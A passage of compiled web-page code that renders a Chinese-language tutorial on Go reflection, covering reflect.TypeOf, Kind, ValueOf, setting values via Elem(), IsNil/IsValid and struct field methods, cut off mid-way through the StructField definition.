n={code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",h5:"h5",header:"header",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(n.header,{children:(0,i.jsx)(n.h1,{id:"go\u8bed\u8a00\u57fa\u7840\u4e4b\u53cd\u5c04",children:"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53cd\u5c04"})}),"\n",(0,i.jsx)(n.h2,{id:"\u53d8\u91cf\u7684\u5185\u5728\u673a\u5236",children:"\u53d8\u91cf\u7684\u5185\u5728\u673a\u5236"}),"\n",(0,i.jsx)(n.p,{children:"Go\u8bed\u8a00\u4e2d\u7684\u53d8\u91cf\u662f\u5206\u4e3a\u4e24\u90e8\u5206\u7684:"}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"\u7c7b\u578b\u4fe1\u606f\uff1a\u9884\u5148\u5b9a\u4e49\u597d\u7684\u5143\u4fe1\u606f\u3002"}),"\n",(0,i.jsx)(n.li,{children:"\u503c\u4fe1\u606f\uff1a\u7a0b\u5e8f\u8fd0\u884c\u8fc7\u7a0b\u4e2d\u53ef\u52a8\u6001\u53d8\u5316\u7684\u3002"}),"\n"]}),"\n",(0,i.jsx)(n.h2,{id:"\u53cd\u5c04\u4ecb\u7ecd",children:"\u53cd\u5c04\u4ecb\u7ecd"}),"\n",(0,i.jsx)(n.p,{children:"\u53cd\u5c04\u662f\u6307\u5728\u7a0b\u5e8f\u8fd0\u884c\u671f\u95f4\u5bf9\u7a0b\u5e8f\u672c\u8eab\u8fdb\u884c\u8bbf\u95ee\u548c\u4fee\u6539\u7684\u80fd\u529b\u3002\u7a0b\u5e8f\u5728\u7f16\u8bd1\u65f6\uff0c\u53d8\u91cf\u88ab\u8f6c\u6362\u4e3a\u5185\u5b58\u5730\u5740\uff0c\u53d8\u91cf\u540d\u4e0d\u4f1a\u88ab\u7f16\u8bd1\u5668\u5199\u5165\u5230\u53ef\u6267\u884c\u90e8\u5206\u3002\u5728\u8fd0\u884c\u7a0b\u5e8f\u65f6\uff0c\u7a0b\u5e8f\u65e0\u6cd5\u83b7\u53d6\u81ea\u8eab\u7684\u4fe1\u606f\u3002"}),"\n",(0,i.jsx)(n.p,{children:"\u652f\u6301\u53cd\u5c04\u7684\u8bed\u8a00\u53ef\u4ee5\u5728\u7a0b\u5e8f\u7f16\u8bd1\u671f\u95f4\u5c06\u53d8\u91cf\u7684\u53cd\u5c04\u4fe1\u606f\uff0c\u5982\u5b57\u6bb5\u540d\u79f0\u3001\u7c7b\u578b\u4fe1\u606f\u3001\u7ed3\u6784\u4f53\u4fe1\u606f\u7b49\u6574\u5408\u5230\u53ef\u6267\u884c\u6587\u4ef6\u4e2d\uff0c\u5e76\u7ed9\u7a0b\u5e8f\u63d0\u4f9b\u63a5\u53e3\u8bbf\u95ee\u53cd\u5c04\u4fe1\u606f\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u5728\u7a0b\u5e8f\u8fd0\u884c\u671f\u95f4\u83b7\u53d6\u7c7b\u578b\u7684\u53cd\u5c04\u4fe1\u606f\uff0c\u5e76\u4e14\u6709\u80fd\u529b\u4fee\u6539\u5b83\u4eec\u3002"}),"\n",(0,i.jsx)(n.p,{children:"Go\u7a0b\u5e8f\u5728\u8fd0\u884c\u671f\u95f4\u4f7f\u7528reflect\u5305\u8bbf\u95ee\u7a0b\u5e8f\u7684\u53cd\u5c04\u4fe1\u606f\u3002"}),"\n",(0,i.jsx)(n.p,{children:"\u5728\u4e0a\u4e00\u7bc7\u535a\u5ba2\u4e2d\u6211\u4eec\u4ecb\u7ecd\u4e86\u7a7a\u63a5\u53e3\u3002 \u7a7a\u63a5\u53e3\u53ef\u4ee5\u5b58\u50a8\u4efb\u610f\u7c7b\u578b\u7684\u53d8\u91cf\uff0c\u90a3\u6211\u4eec\u5982\u4f55\u77e5\u9053\u8fd9\u4e2a\u7a7a\u63a5\u53e3\u4fdd\u5b58\u7684\u6570\u636e\u662f\u4ec0\u4e48\u5462\uff1f \u53cd\u5c04\u5c31\u662f\u5728\u8fd0\u884c\u65f6\u52a8\u6001\u7684\u83b7\u53d6\u4e00\u4e2a\u53d8\u91cf\u7684\u7c7b\u578b\u4fe1\u606f\u548c\u503c\u4fe1\u606f\u3002"}),"\n",(0,i.jsx)(n.h2,{id:"reflect\u5305",children:"reflect\u5305"}),"\n",(0,i.jsxs)(n.p,{children:["\u5728Go\u8bed\u8a00\u7684\u53cd\u5c04\u673a\u5236\u4e2d\uff0c\u4efb\u4f55\u63a5\u53e3\u503c\u90fd\u7531\u662f",(0,i.jsx)(n.code,{children:"\u4e00\u4e2a\u5177\u4f53\u7c7b\u578b"}),"\u548c",(0,i.jsx)(n.code,{children:"\u5177\u4f53\u7c7b\u578b\u7684\u503c"}),"\u4e24\u90e8\u5206\u7ec4\u6210\u7684(\u6211\u4eec\u5728\u4e0a\u4e00\u7bc7\u63a5\u53e3\u7684\u535a\u5ba2\u4e2d\u6709\u4ecb\u7ecd\u76f8\u5173\u6982\u5ff5)\u3002 \u5728Go\u8bed\u8a00\u4e2d\u53cd\u5c04\u7684\u76f8\u5173\u529f\u80fd\u7531\u5185\u7f6e\u7684reflect\u5305\u63d0\u4f9b\uff0c\u4efb\u610f\u63a5\u53e3\u503c\u5728\u53cd\u5c04\u4e2d\u90fd\u53ef\u4ee5\u7406\u89e3\u4e3a\u7531",(0,i.jsx)(n.code,{children:"reflect.Type"}),"\u548c",(0,i.jsx)(n.code,{children:"reflect.Value"}),"\u4e24\u90e8\u5206\u7ec4\u6210\uff0c\u5e76\u4e14reflect\u5305\u63d0\u4f9b\u4e86",(0,i.jsx)(n.code,{children:"reflect.TypeOf"}),"\u548c",(0,i.jsx)(n.code,{children:"reflect.ValueOf"}),"\u4e24\u4e2a\u51fd\u6570\u6765\u83b7\u53d6\u4efb\u610f\u5bf9\u8c61\u7684Value\u548cType\u3002"]}),"\n",(0,i.jsx)(n.h3,{id:"typeof",children:"TypeOf"}),"\n",(0,i.jsxs)(n.p,{children:["\u5728Go\u8bed\u8a00\u4e2d\uff0c\u4f7f\u7528",(0,i.jsx)(n.code,{children:"reflect.TypeOf()"}),"\u51fd\u6570\u53ef\u4ee5\u83b7\u5f97\u4efb\u610f\u503c\u7684\u7c7b\u578b\u5bf9\u8c61\uff08reflect.Type\uff09\uff0c\u7a0b\u5e8f\u901a\u8fc7\u7c7b\u578b\u5bf9\u8c61\u53ef\u4ee5\u8bbf\u95ee\u4efb\u610f\u503c\u7684\u7c7b\u578b\u4fe1\u606f\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"reflect"\n)\n\nfunc reflectType(x interface{}) {\n\tv := reflect.TypeOf(x)\n\tfmt.Printf("type:%v\\n", v)\n}\nfunc main() {\n\tvar a float32 = 3.14\n\treflectType(a) // type:float32\n\tvar b int64 = 100\n\treflectType(b) // type:int64\n}\n'})}),"\n",(0,i.jsx)(n.h4,{id:"type-name\u548ctype-kind",children:"type name\u548ctype kind"}),"\n",(0,i.jsxs)(n.p,{children:["\u5728\u53cd\u5c04\u4e2d\u5173\u4e8e\u7c7b\u578b\u8fd8\u5212\u5206\u4e3a\u4e24\u79cd\uff1a",(0,i.jsx)(n.code,{children:"\u7c7b\u578b\uff08Type\uff09"}),"\u548c",(0,i.jsx)(n.code,{children:"\u79cd\u7c7b\uff08Kind\uff09"}),"\u3002\u56e0\u4e3a\u5728Go\u8bed\u8a00\u4e2d\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528type\u5173\u952e\u5b57\u6784\u9020\u5f88\u591a\u81ea\u5b9a\u4e49\u7c7b\u578b\uff0c\u800c",(0,i.jsx)(n.code,{children:"\u79cd\u7c7b\uff08Kind\uff09"}),"\u5c31\u662f\u6307\u5e95\u5c42\u7684\u7c7b\u578b\uff0c\u4f46\u5728\u53cd\u5c04\u4e2d\uff0c\u5f53\u9700\u8981\u533a\u5206\u6307\u9488\u3001\u7ed3\u6784\u4f53\u7b49\u5927\u54c1\u79cd\u7684\u7c7b\u578b\u65f6\uff0c\u5c31\u4f1a\u7528\u5230",(0,i.jsx)(n.code,{children:"\u79cd\u7c7b\uff08Kind\uff09"}),"\u3002 \u4e3e\u4e2a\u4f8b\u5b50\uff0c\u6211\u4eec\u5b9a\u4e49\u4e86\u4e24\u4e2a\u6307\u9488\u7c7b\u578b\u548c\u4e24\u4e2a\u7ed3\u6784\u4f53\u7c7b\u578b\uff0c\u901a\u8fc7\u53cd\u5c04\u67e5\u770b\u5b83\u4eec\u7684\u7c7b\u578b\u548c\u79cd\u7c7b\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"reflect"\n)\n\ntype myInt int64\n\nfunc reflectType(x interface{}) {\n\tt := reflect.TypeOf(x)\n\tfmt.Printf("type:%v kind:%v\\n", t.Name(), t.Kind())\n}\n\nfunc main() {\n\tvar a *float32 // \u6307\u9488\n\tvar b myInt // \u81ea\u5b9a\u4e49\u7c7b\u578b\n\tvar c rune // \u7c7b\u578b\u522b\u540d\n\treflectType(a) // type: kind:ptr\n\treflectType(b) // type:myInt kind:int64\n\treflectType(c) // type:int32 kind:int32\n\n\ttype person struct {\n\t\tname string\n\t\tage int\n\t}\n\ttype book struct{ title string }\n\tvar d = person{\n\t\tname: "\u6c99\u6cb3\u5c0f\u738b\u5b50",\n\t\tage: 18,\n\t}\n\tvar e = book{title: "\u300a\u8ddf\u5c0f\u738b\u5b50\u5b66Go\u8bed\u8a00\u300b"}\n\treflectType(d) // type:person kind:struct\n\treflectType(e) // type:book kind:struct\n}\n'})}),"\n",(0,i.jsxs)(n.p,{children:["Go\u8bed\u8a00\u7684\u53cd\u5c04\u4e2d\u50cf\u6570\u7ec4\u3001\u5207\u7247\u3001Map\u3001\u6307\u9488\u7b49\u7c7b\u578b\u7684\u53d8\u91cf\uff0c\u5b83\u4eec\u7684",(0,i.jsx)(n.code,{children:".Name()"}),"\u90fd\u662f\u8fd4\u56de",(0,i.jsx)(n.code,{children:"\u7a7a"}),"\u3002"]}),"\n",(0,i.jsxs)(n.p,{children:["\u5728",(0,i.jsx)(n.code,{children:"reflect"}),"\u5305\u4e2d\u5b9a\u4e49\u7684Kind\u7c7b\u578b\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:"type Kind uint\nconst (\n Invalid Kind = iota // \u975e\u6cd5\u7c7b\u578b\n Bool // \u5e03\u5c14\u578b\n Int // \u6709\u7b26\u53f7\u6574\u578b\n Int8 // \u6709\u7b26\u53f78\u4f4d\u6574\u578b\n Int16 // \u6709\u7b26\u53f716\u4f4d\u6574\u578b\n Int32 // \u6709\u7b26\u53f732\u4f4d\u6574\u578b\n Int64 // \u6709\u7b26\u53f764\u4f4d\u6574\u578b\n Uint // \u65e0\u7b26\u53f7\u6574\u578b\n Uint8 // \u65e0\u7b26\u53f78\u4f4d\u6574\u578b\n Uint16 // \u65e0\u7b26\u53f716\u4f4d\u6574\u578b\n Uint32 // \u65e0\u7b26\u53f732\u4f4d\u6574\u578b\n Uint64 // \u65e0\u7b26\u53f764\u4f4d\u6574\u578b\n Uintptr // \u6307\u9488\n Float32 // \u5355\u7cbe\u5ea6\u6d6e\u70b9\u6570\n Float64 // \u53cc\u7cbe\u5ea6\u6d6e\u70b9\u6570\n Complex64 // 64\u4f4d\u590d\u6570\u7c7b\u578b\n Complex128 // 128\u4f4d\u590d\u6570\u7c7b\u578b\n Array // \u6570\u7ec4\n Chan // \u901a\u9053\n Func // \u51fd\u6570\n Interface // \u63a5\u53e3\n Map // \u6620\u5c04\n Ptr // \u6307\u9488\n Slice // \u5207\u7247\n String // \u5b57\u7b26\u4e32\n Struct // \u7ed3\u6784\u4f53\n UnsafePointer // \u5e95\u5c42\u6307\u9488\n)\n"})}),"\n",(0,i.jsx)(n.h3,{id:"valueof",children:"ValueOf"}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"reflect.ValueOf()"}),"\u8fd4\u56de\u7684\u662f",(0,i.jsx)(n.code,{children:"reflect.Value"}),"\u7c7b\u578b\uff0c\u5176\u4e2d\u5305\u542b\u4e86\u539f\u59cb\u503c\u7684\u503c\u4fe1\u606f\u3002",(0,i.jsx)(n.code,{children:"reflect.Value"}),"\u4e0e\u539f\u59cb\u503c\u4e4b\u95f4\u53ef\u4ee5\u4e92\u76f8\u8f6c\u6362\u3002"]}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"reflect.Value"}),"\u7c7b\u578b\u63d0\u4f9b\u7684\u83b7\u53d6\u539f\u59cb\u503c\u7684\u65b9\u6cd5\u5982\u4e0b\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"center"},children:"\u65b9\u6cd5"}),(0,i.jsx)(n.th,{style:{textAlign:"center"},children:"\u8bf4\u660e"})]})}),(0,i.jsxs)(n.tbody,{children:[(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"Interface() interface {}"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u5c06\u503c\u4ee5 interface{} \u7c7b\u578b\u8fd4\u56de\uff0c\u53ef\u4ee5\u901a\u8fc7\u7c7b\u578b\u65ad\u8a00\u8f6c\u6362\u4e3a\u6307\u5b9a\u7c7b\u578b"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"Int() int64"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u5c06\u503c\u4ee5 int \u7c7b\u578b\u8fd4\u56de\uff0c\u6240\u6709\u6709\u7b26\u53f7\u6574\u578b\u5747\u53ef\u4ee5\u6b64\u65b9\u5f0f\u8fd4\u56de"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"Uint() uint64"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u5c06\u503c\u4ee5 uint \u7c7b\u578b\u8fd4\u56de\uff0c\u6240\u6709\u65e0\u7b26\u53f7\u6574\u578b\u5747\u53ef\u4ee5\u6b64\u65b9\u5f0f\u8fd4\u56de"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"Float() float64"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u5c06\u503c\u4ee5\u53cc\u7cbe\u5ea6\uff08float64\uff09\u7c7b\u578b\u8fd4\u56de\uff0c\u6240\u6709\u6d6e\u70b9\u6570\uff08float32\u3001float64\uff09\u5747\u53ef\u4ee5\u6b64\u65b9\u5f0f\u8fd4\u56de"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"Bool() bool"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u5c06\u503c\u4ee5 bool \u7c7b\u578b\u8fd4\u56de"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"Bytes() []bytes"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u5c06\u503c\u4ee5\u5b57\u8282\u6570\u7ec4 []bytes \u7c7b\u578b\u8fd4\u56de"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"String() string"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u5c06\u503c\u4ee5\u5b57\u7b26\u4e32\u7c7b\u578b\u8fd4\u56de"})]})]})]}),"\n",(0,i.jsx)(n.h4,{id:"\u901a\u8fc7\u53cd\u5c04\u83b7\u53d6\u503c",children:"\u901a\u8fc7\u53cd\u5c04\u83b7\u53d6\u503c"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'func reflectValue(x interface{}) {\n\tv := reflect.ValueOf(x)\n\tk := v.Kind()\n\tswitch k {\n\tcase reflect.Int64:\n\t\t// v.Int()\u4ece\u53cd\u5c04\u4e2d\u83b7\u53d6\u6574\u578b\u7684\u539f\u59cb\u503c\uff0c\u7136\u540e\u901a\u8fc7int64()\u5f3a\u5236\u7c7b\u578b\u8f6c\u6362\n\t\tfmt.Printf("type is int64, value is %d\\n", int64(v.Int()))\n\tcase reflect.Float32:\n\t\t// v.Float()\u4ece\u53cd\u5c04\u4e2d\u83b7\u53d6\u6d6e\u70b9\u578b\u7684\u539f\u59cb\u503c\uff0c\u7136\u540e\u901a\u8fc7float32()\u5f3a\u5236\u7c7b\u578b\u8f6c\u6362\n\t\tfmt.Printf("type is float32, value is %f\\n", float32(v.Float()))\n\tcase reflect.Float64:\n\t\t// v.Float()\u4ece\u53cd\u5c04\u4e2d\u83b7\u53d6\u6d6e\u70b9\u578b\u7684\u539f\u59cb\u503c\uff0c\u7136\u540e\u901a\u8fc7float64()\u5f3a\u5236\u7c7b\u578b\u8f6c\u6362\n\t\tfmt.Printf("type is float64, value is %f\\n", float64(v.Float()))\n\t}\n}\nfunc main() {\n\tvar a float32 = 3.14\n\tvar b int64 = 100\n\treflectValue(a) // type is float32, value is 3.140000\n\treflectValue(b) // type is int64, value is 100\n\t// \u5c06int\u7c7b\u578b\u7684\u539f\u59cb\u503c\u8f6c\u6362\u4e3areflect.Value\u7c7b\u578b\n\tc := reflect.ValueOf(10)\n\tfmt.Printf("type c :%T\\n", c) // type c :reflect.Value\n}\n'})}),"\n",(0,i.jsx)(n.h4,{id:"\u901a\u8fc7\u53cd\u5c04\u8bbe\u7f6e\u53d8\u91cf\u7684\u503c",children:"\u901a\u8fc7\u53cd\u5c04\u8bbe\u7f6e\u53d8\u91cf\u7684\u503c"}),"\n",(0,i.jsxs)(n.p,{children:["\u60f3\u8981\u5728\u51fd\u6570\u4e2d\u901a\u8fc7\u53cd\u5c04\u4fee\u6539\u53d8\u91cf\u7684\u503c\uff0c\u9700\u8981\u6ce8\u610f\u51fd\u6570\u53c2\u6570\u4f20\u9012\u7684\u662f\u503c\u62f7\u8d1d\uff0c\u5fc5\u987b\u4f20\u9012\u53d8\u91cf\u5730\u5740\u624d\u80fd\u4fee\u6539\u53d8\u91cf\u503c\u3002\u800c\u53cd\u5c04\u4e2d\u4f7f\u7528\u4e13\u6709\u7684",(0,i.jsx)(n.code,{children:"Elem()"}),"\u65b9\u6cd5\u6765\u83b7\u53d6\u6307\u9488\u5bf9\u5e94\u7684\u503c\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"reflect"\n)\n\nfunc reflectSetValue1(x interface{}) {\n\tv := reflect.ValueOf(x)\n\tif v.Kind() == reflect.Int64 {\n\t\tv.SetInt(200) //\u4fee\u6539\u7684\u662f\u526f\u672c\uff0creflect\u5305\u4f1a\u5f15\u53d1panic\n\t}\n}\nfunc reflectSetValue2(x interface{}) {\n\tv := reflect.ValueOf(x)\n\t// \u53cd\u5c04\u4e2d\u4f7f\u7528 Elem()\u65b9\u6cd5\u83b7\u53d6\u6307\u9488\u5bf9\u5e94\u7684\u503c\n\tif v.Elem().Kind() == reflect.Int64 {\n\t\tv.Elem().SetInt(200)\n\t}\n}\nfunc main() {\n\tvar a int64 = 100\n\t// reflectSetValue1(a) //panic: reflect: reflect.Value.SetInt using unaddressable value\n\treflectSetValue2(&a)\n\tfmt.Println(a)\n}\n'})}),"\n",(0,i.jsx)(n.h4,{id:"isnil\u548cisvalid",children:"isNil()\u548cisValid()"}),"\n",(0,i.jsx)(n.h5,{id:"isnil",children:"isNil()"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:"func (v Value) IsNil() bool\n"})}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"IsNil()"}),"\u62a5\u544av\u6301\u6709\u7684\u503c\u662f\u5426\u4e3anil\u3002v\u6301\u6709\u7684\u503c\u7684\u5206\u7c7b\u5fc5\u987b\u662f\u901a\u9053\u3001\u51fd\u6570\u3001\u63a5\u53e3\u3001\u6620\u5c04\u3001\u6307\u9488\u3001\u5207\u7247\u4e4b\u4e00\uff1b\u5426\u5219IsNil\u51fd\u6570\u4f1a\u5bfc\u81f4panic\u3002"]}),"\n",(0,i.jsx)(n.h5,{id:"isvalid",children:"isValid()"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:"func (v Value) IsValid() bool\n"})}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"IsValid()"}),"\u8fd4\u56dev\u662f\u5426\u6301\u6709\u4e00\u4e2a\u503c\u3002\u5982\u679cv\u662fValue\u96f6\u503c\u4f1a\u8fd4\u56de\u5047\uff0c\u6b64\u65f6v\u9664\u4e86IsValid\u3001String\u3001Kind\u4e4b\u5916\u7684\u65b9\u6cd5\u90fd\u4f1a\u5bfc\u81f4panic\u3002"]}),"\n",(0,i.jsx)(n.h5,{id:"\u4e3e\u4e2a\u4f8b\u5b50",children:"\u4e3e\u4e2a\u4f8b\u5b50"}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"IsNil()"}),"\u5e38\u88ab\u7528\u4e8e\u5224\u65ad\u6307\u9488\u662f\u5426\u4e3a\u7a7a\uff1b",(0,i.jsx)(n.code,{children:"IsValid()"}),"\u5e38\u88ab\u7528\u4e8e\u5224\u5b9a\u8fd4\u56de\u503c\u662f\u5426\u6709\u6548\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'func main() {\n\t// *int\u7c7b\u578b\u7a7a\u6307\u9488\n\tvar a *int\n\tfmt.Println("var a *int IsNil:", reflect.ValueOf(a).IsNil())\n\t// nil\u503c\n\tfmt.Println("nil IsValid:", reflect.ValueOf(nil).IsValid())\n\t// \u5b9e\u4f8b\u5316\u4e00\u4e2a\u533f\u540d\u7ed3\u6784\u4f53\n\tb := struct{}{}\n\t// \u5c1d\u8bd5\u4ece\u7ed3\u6784\u4f53\u4e2d\u67e5\u627e"abc"\u5b57\u6bb5\n\tfmt.Println("\u4e0d\u5b58\u5728\u7684\u7ed3\u6784\u4f53\u6210\u5458:", reflect.ValueOf(b).FieldByName("abc").IsValid())\n\t// \u5c1d\u8bd5\u4ece\u7ed3\u6784\u4f53\u4e2d\u67e5\u627e"abc"\u65b9\u6cd5\n\tfmt.Println("\u4e0d\u5b58\u5728\u7684\u7ed3\u6784\u4f53\u65b9\u6cd5:", reflect.ValueOf(b).MethodByName("abc").IsValid())\n\t// map\n\tc := map[string]int{}\n\t// \u5c1d\u8bd5\u4ecemap\u4e2d\u67e5\u627e\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684\u952e\n\tfmt.Println("map\u4e2d\u4e0d\u5b58\u5728\u7684\u952e\uff1a", reflect.ValueOf(c).MapIndex(reflect.ValueOf("\u5a1c\u624e")).IsValid())\n}\n'})}),"\n",(0,i.jsx)(n.h2,{id:"\u7ed3\u6784\u4f53\u53cd\u5c04",children:"\u7ed3\u6784\u4f53\u53cd\u5c04"}),"\n",(0,i.jsx)(n.h3,{id:"\u4e0e\u7ed3\u6784\u4f53\u76f8\u5173\u7684\u65b9\u6cd5",children:"\u4e0e\u7ed3\u6784\u4f53\u76f8\u5173\u7684\u65b9\u6cd5"}),"\n",(0,i.jsxs)(n.p,{children:["\u4efb\u610f\u503c\u901a\u8fc7",(0,i.jsx)(n.code,{children:"reflect.TypeOf()"}),"\u83b7\u5f97\u53cd\u5c04\u5bf9\u8c61\u4fe1\u606f\u540e\uff0c\u5982\u679c\u5b83\u7684\u7c7b\u578b\u662f\u7ed3\u6784\u4f53\uff0c\u53ef\u4ee5\u901a\u8fc7\u53cd\u5c04\u503c\u5bf9\u8c61\uff08",(0,i.jsx)(n.code,{children:"reflect.Type"}),"\uff09\u7684",(0,i.jsx)(n.code,{children:"NumField()"}),"\u548c",(0,i.jsx)(n.code,{children:"Field()"}),"\u65b9\u6cd5\u83b7\u5f97\u7ed3\u6784\u4f53\u6210\u5458\u7684\u8be6\u7ec6\u4fe1\u606f\u3002"]}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"reflect.Type"}),"\u4e2d\u4e0e\u83b7\u53d6\u7ed3\u6784\u4f53\u6210\u5458\u76f8\u5173\u7684\u7684\u65b9\u6cd5\u5982\u4e0b\u8868\u6240\u793a\u3002"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"center"},children:"\u65b9\u6cd5"}),(0,i.jsx)(n.th,{style:{textAlign:"center"},children:"\u8bf4\u660e"})]})}),(0,i.jsxs)(n.tbody,{children:[(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"Field(i int) StructField"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u6839\u636e\u7d22\u5f15\uff0c\u8fd4\u56de\u7d22\u5f15\u5bf9\u5e94\u7684\u7ed3\u6784\u4f53\u5b57\u6bb5\u7684\u4fe1\u606f\u3002"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"NumField() int"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u8fd4\u56de\u7ed3\u6784\u4f53\u6210\u5458\u5b57\u6bb5\u6570\u91cf\u3002"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"FieldByName(name string) (StructField, bool)"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u6839\u636e\u7ed9\u5b9a\u5b57\u7b26\u4e32\u8fd4\u56de\u5b57\u7b26\u4e32\u5bf9\u5e94\u7684\u7ed3\u6784\u4f53\u5b57\u6bb5\u7684\u4fe1\u606f\u3002"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"FieldByIndex(index []int) StructField"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u591a\u5c42\u6210\u5458\u8bbf\u95ee\u65f6\uff0c\u6839\u636e []int \u63d0\u4f9b\u7684\u6bcf\u4e2a\u7ed3\u6784\u4f53\u7684\u5b57\u6bb5\u7d22\u5f15\uff0c\u8fd4\u56de\u5b57\u6bb5\u7684\u4fe1\u606f\u3002"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"FieldByNameFunc(match func(string) bool) (StructField,bool)"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u6839\u636e\u4f20\u5165\u7684\u5339\u914d\u51fd\u6570\u5339\u914d\u9700\u8981\u7684\u5b57\u6bb5\u3002"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"NumMethod() int"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u8fd4\u56de\u8be5\u7c7b\u578b\u7684\u65b9\u6cd5\u96c6\u4e2d\u65b9\u6cd5\u7684\u6570\u76ee"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"Method(int) Method"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u8fd4\u56de\u8be5\u7c7b\u578b\u65b9\u6cd5\u96c6\u4e2d\u7684\u7b2ci\u4e2a\u65b9\u6cd5"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"MethodByName(string)(Method, bool)"}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u6839\u636e\u65b9\u6cd5\u540d\u8fd4\u56de\u8be5\u7c7b\u578b\u65b9\u6cd5\u96c6\u4e2d\u7684\u65b9\u6cd5"})]})]})]}),"\n",(0,i.jsx)(n.h3,{id:"structfield\u7c7b\u578b",children:"StructField\u7c7b\u578b"}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"StructField"}),"\u7c7b\u578b\u7528\u6765\u63cf\u8ff0\u7ed3\u6784\u4f53\u4e2d\u7684\u4e00\u4e2a\u5b57\u6bb5\u7684\u4fe1\u606f\u3002"]}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"StructField"}),"\u7684\u5b9a\u4e49\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'type StructField struct {\n // Name\u662f\u5b57\u6bb5\u7684\u540d\u5b57\u3002PkgPath\u662f\u975e\u5bfc\u51fa\u5b57\u6bb5\u7684\u5305\u8def\u5f84\uff0c\u5bf9\u5bfc\u51fa\u5b57\u6bb5\u8be5\u5b57\u6bb5\u4e3a""\u3002\n // \u53c2\u89c1http://golang.org/ref/spec#Uniqueness_of_identifiers\n Name string\n PkgPath string\n 